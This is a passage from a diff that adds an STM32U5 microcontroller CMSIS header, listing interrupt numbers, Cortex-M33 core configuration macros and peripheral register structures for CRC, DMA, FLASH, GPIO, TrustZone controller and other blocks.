RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + USB_IRQn = 73, /*!< USB global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + uint32_t RESERVED4[7]; /*!< Reserved4, Address offset: 0x84-0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< Reserved5, Address offset: 0xA4-0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + uint32_t RESERVED7[7]; /*!< Reserved7, Address offset: 0xD4-0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x180 */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x200 */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} 